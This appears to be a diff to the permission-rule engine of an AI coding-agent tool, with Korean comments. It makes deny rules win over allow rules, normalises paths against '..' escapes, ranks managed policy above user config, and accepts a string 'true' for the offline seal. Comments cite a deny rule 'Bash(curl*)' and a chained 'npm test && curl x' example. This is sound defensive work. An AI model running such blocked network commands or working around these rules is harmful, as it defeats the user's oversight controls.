+ * 바꾼 꼴을 만든다. 금지는 날것·정리한 꼴 **하나라도** 맞으면 걸리고(윈도우는 대소문자도 안
416
+ * 가린다), 허락은 **정리한 꼴이** 맞아야 한다 — `..` 로 무늬 밖에 나간 것을 날것 글자로 허락하면
417
+ * 안 된다. 주소(url·uri)는 경로가 아니라 그대로 본다.
418
+ */
419
+ function 경로정리(값, 뿌리 = null) {
420
+ const 글 = String(값 ?? '');
421
+ if (뿌리 && isAbsolute(글)) {
422
+ const 상대 = relative(뿌리, 글);
423
+ if (상대 && !상대.startsWith('..') && !isAbsolute(상대)) return 상대.split(/[\\/]+/).join('/');
424
+ }
425
+ const 풀린 = posix.normalize(글.replace(/\\/g, '/'));
426
+ return 풀린 === './' ? '.' : 풀린.replace(/^\.\//, '');
125
427
  }
428
+ const 주소칸 = new Set(['url', 'uri']);
429
+ const 경로로볼칸 = (칸) => 경로칸.has(칸) && !주소칸.has(칸);
126
430
 
127
431
  function 목록(값) {
128
432
  return (Array.isArray(값) ? 값 : []).map(규칙읽기).filter(Boolean);
@@ -143,9 +447,15 @@ export function 규칙모으기(cfg, { env = process.env, platform = process.pla
143
447
  // 정책은 허락도 적을 수 있다 — 사내 표준 명령을 미리 풀어 두는 자리다.
144
448
  ...목록(p.allow).map((r) => ({ ...r, 출처: '관리 정책' })),
145
449
  ],
450
+ /*
451
+ * 금지는 **관리 정책이 먼저**다. 같은 줄이 양쪽에 있는 것은 흔하다 — 정책의 금지는
452
+ * 설정에도 합쳐지기 때문이다(config.js 정책덮기). 설정을 먼저 보면 어떻게할까() 가
453
+ * 먼저 걸린 쪽을 말해서 출처가 「설정」 으로 나왔고, 사람은 제 설정에서 그 줄을 지우고도
454
+ * 계속 막혔다(8회차). 판정은 어차피 같으니 **못 고치는 쪽**을 말한다.
455
+ */
146
456
  deny: [
147
- ...목록(c.deny).map((r) => ({ ...r, 출처: '설정' })),
148
457
  ...목록(p.deny).map((r) => ({ ...r, 출처: '관리 정책' })),
458
+ ...목록(c.deny).map((r) => ({ ...r, 출처: '설정' })),
149
459
  ],
150
460
  정책곳: 정책.곳,
151
461
  탈: 정책.탈,
@@ -162,14 +472,15 @@ export function 규칙모으기(cfg, { env = process.env, platform = process.pla
162
472
  * allow — 모드가 뭐든 안 묻고 한다.
163
473
  * 모름 — 예전대로 모드가 정한다.
164
474
  */
165
- export function 어떻게할까(규칙들, 도구, 인자) {
475
+ export function 어떻게할까(규칙들, 도구, 인자, { 뿌리 = null } = {}) {
166
476
  // 금지가 먼저다. 허락과 금지에 같이 걸리면 금지다 — 반대로 하면 규칙 하나를
167
477
  // 잘못 적어 둔 것으로 금지가 통째로 무력해진다.
478
+ // 뿌리는 절대경로를 뿌리 기준 꼴로 바꿔 경로 규칙에 맞춰 보는 데 쓴다(위 경로정리).
168
479
  for (const r of 규칙들?.deny ?? []) {
169
- if (걸리나(r, 도구, 인자)) return { 답: 'deny', 출처: r.출처, 규칙: r.원문 };
480
+ if (걸리나(r, 도구, 인자, { 뿌리 })) return { 답: 'deny', 출처: r.출처, 규칙: r.원문 };
170
481
  }
171
482
  for (const r of 규칙들?.allow ?? []) {
172
- if (걸리나(r, 도구, 인자)) return { 답: 'allow', 출처: r.출처, 규칙: r.원문 };
483
+ if (걸리나(r, 도구, 인자, { 허락: true, 뿌리 })) return { 답: 'allow', 출처: r.출처, 규칙: r.원문 };
173
484
  }
174
485
  return { 답: '모름', 출처: null, 규칙: null };
175
486
  }
@@ -186,7 +497,29 @@ export function 늘허락(cfg, 줄, 규칙들 = null) {
186
497
  if (!규칙) return { ok: false, 왜: '규칙이 비었습니다' };
187
498
  if (규칙들) {
188
499
  for (const d of 규칙들.deny ?? []) {
189
- if (d.도구 === 규칙.도구 && (!d.무늬 || d.무늬 === 규칙.무늬)) {
500
+ if (!같은도구(d.도구, 규칙.도구)) continue;
501
+ /*
502
+ * 부딪치는지를 **글자가 똑같은지**로만 봤다. 그래서 금지가 별표로
503
+ * 적혀 있으면(그게 흔한 꼴이다) 부딪침을 못 알아봤다:
504
+ *
505
+ * deny: ["Bash(curl*)"]
506
+ * 늘허락(cfg, "Bash(curl -s http://x)") → ok:true 로 목록에 들어감
507
+ * 어떻게할까(…) → 그래도 deny
508
+ *
509
+ * 에디터에서 「앞으로 묻지 않기」 를 누르면 그 줄이 permissions.allow
510
+ * 에 적히고 규칙표에 허락 한 줄이 는다. 그런데 물음은 계속 나온다 —
511
+ * 아니, 금지라 아예 안 된다. 이 함수 머리말이 막으려던 바로 그것이다.
512
+ *
513
+ * 실제로 걸리는지 보는 자(무늬맞나)에게 물어본다. 허락하려는 무늬가
514
+ * 금지 무늬 안에 들면 부딪치는 것이다.
515
+ */
516
+ /*
517
+ * 무늬 **없이** 오는 부름도 있다. ACP 의 「앞으로 묻지 않기」 는 도구 이름만 준다
518
+ * (acp/serve.js). `Bash` 는 그 도구 전부라 `Bash(curl*)` 금지보다 넓은데, 넓은 쪽을
519
+ * 좁은 금지에 맞춰 보느라(빈 글은 `curl*` 에 안 맞는다) 부딪침을 못 알아봤다 —
520
+ * `allow:["Bash"]` 가 적히고 사람은 풀린 줄 아는데 curl 판정은 그대로 deny 다(8회차).
521
+ */
522
+ if (!d.무늬 || !규칙.무늬 || d.무늬 === 규칙.무늬 || 무늬맞나(d.무늬, 규칙.무늬)) {
190
523
  return { ok: false, 왜: `${d.출처}의 금지(${d.원문})와 부딪칩니다 — 금지가 이깁니다` };
191
524
  }
192
525
  }
@@ -197,17 +530,6 @@ export function 늘허락(cfg, 줄, 규칙들 = null) {
197
530
  return { ok: true, 규칙: 규칙.원문 };
198
531
  }
199
532
 
200
- /** 화면에 한 줄로 적을 말. 아무것도 안 걸려 있으면 빈 글. */
201
- export function 규칙말(규칙들) {
202
- if (!규칙들) return '';
203
- const 조각 = [];
204
- if (규칙들.allow.length) 조각.push(`허락 ${규칙들.allow.length}`);
205
- if (규칙들.deny.length) 조각.push(`금지 ${규칙들.deny.length}`);
206
- if (규칙들.정책곳) 조각.push(`관리 정책 ${규칙들.정책곳}`);
207
- if (규칙들.탈) 조각.push(규칙들.탈);
208
- return 조각.join(' · ');
209
- }
210
-
211
533
  /*
212
534
  * ── 규칙이 진짜 그렇게 도나 ─────────────────────────────────────────────
213
535
  *
@@ -238,6 +560,20 @@ export function 규칙말(규칙들) {
238
560
  * 같이 풀리는 일이 실제로 흔한데, 보기를 적어 두면 그 자리에서 빨개진다.
239
561
  */
240
562
 
563
+ /*
564
+ * 기대값은 한국어·영어 둘 다 받는다.
565
+ *
566
+ * 칸 이름은 영어로도 받으면서(tool · value · expect) 값만 한국어를 고집했다. 그래서
567
+ * `expect:"unknown"` 으로 적은 보기가 **말없이** 버려져 확인 목록이 통째로 0개가 됐다 —
568
+ * 검사가 아무것도 안 재면서 초록으로 남는, 이 파일이 막으려던 바로 그 모양이다(8회차).
569
+ * 대소문자도 안 가린다. 그래도 아는 말이 아니면(`막힘` 따위) 여전히 버린다 — 늘 틀린 것으로
570
+ * 나오는 보기 하나가 확인 전체를 못 믿게 만든다.
571
+ */
572
+ const 기대말 = new Map([
573
+ ['allow', 'allow'], ['deny', 'deny'], ['모름', '모름'],
574
+ ['unknown', '모름'], ['ask', '모름'],
575
+ ]);
576
+
241
577
  /** 설정에 적어 둔 확인 보기들. 없으면 빈 배열. */
242
578
  export function 확인목록(cfg) {
243
579
  const 것 = cfg?.permissions?.확인 ?? cfg?.permissions?.checks;
@@ -247,9 +583,9 @@ export function 확인목록(cfg) {
247
583
  if (!x || typeof x !== 'object') continue;
248
584
  const 도구 = String(x.도구 ?? x.tool ?? 'Bash');
249
585
  const 값 = x.값 ?? x.value;
250
- const 이래야 = String(x.이래야 ?? x.expect ?? '').trim();
586
+ const 이래야 = 기대말.get(String(x.이래야 ?? x.expect ?? '').trim().toLowerCase());
251
587
  if (typeof 값 !== 'string' || !값) continue;
252
- if (!['allow', 'deny', '모름'].includes(이래야)) continue;
588
+ if (!이래야) continue;
253
589
  out.push({ 도구, 값, 이래야 });
254
590
  }
255
591
  return out;
@@ -262,11 +598,16 @@ export function 확인목록(cfg) {
262
598
  * file_path. 확인 보기에서는 사람이 값 하나만 적으므로, 여기서 그 도구가
263
599
  * 보는 칸에 넣어 준다. 안 그러면 보기가 늘 「안 걸림」 으로 나와서, 검사가
264
600
  * 아무것도 안 재면서 초록으로 남는다.
601
+ *
602
+ * 도구 이름은 **대소문자를 안 가린다**(같은도구). 싸는 자리만 글자를 그대로 봐서 `bash` 로
603
+ * 적은 보기는 명령이 file_path 로 싸였고, 명령 검사(셸 마디·따옴표·대소문자)를 통째로 안 타서
604
+ * 실제 판정과 다른 답을 냈다 — `bash` + `npm test && curl x` 가 금지 `Bash(curl*)` 앞에서
605
+ * `모름` 이었다(8회차).
265
606
  */
266
607
  export function 확인인자(도구, 값) {
267
- if (도구 === 'Bash') return { command: 값 };
268
- if (도구 === 'WebFetch') return { url: 값 };
269
- if (도구 === 'Grep') return { pattern: 값 };
608
+ if (같은도구(도구, 'Bash')) return { command: 값 };
609
+ if (같은도구(도구, 'WebFetch')) return { url: 값 };
610
+ if (같은도구(도구, 'Grep')) return { pattern: 값 };
270
611
  return { file_path: 값 };
271
612
  }
272
613
 
@@ -100,8 +100,15 @@ export function 지금모드({ online = false, offline = false } = {}) {
100
100
  * 아무 데도 안 붙어 있었다. 정책은 켜기만 하므로 여기서는 OR 로 모은다.
101
101
  */
102
102
  export function 봉인됐나({ 깃발 = undefined, prof = null, cfg = null } = {}) {
103
- return 깃발 === true || 깃발 === 'true'
104
- || prof?.offline === true || cfg?.offline === true;
103
+ /*
104
+ * 글자 `'true'` 도 켠 것으로 친다 — 세 자리 모두.
105
+ *
106
+ * 깃발만 글자를 받고 설정은 안 받았다. 그래서 `"offline": "true"` 라고 적은
107
+ * 사람의 봉인이 `--online` 하나에 풀려 바깥으로 나갔다. 손으로 적는 JSON 에서
108
+ * 따옴표 한 쌍은 흔한 실수다. 그 실수로 **풀리는** 쪽으로 가면 안 된다.
109
+ */
110
+ const 켰나 = (v) => v === true || v === 'true';
111
+ return 켰나(깃발) || 켰나(prof?.offline) || 켰나(cfg?.offline);
105
112
  }
106
113
 
107
114
  /**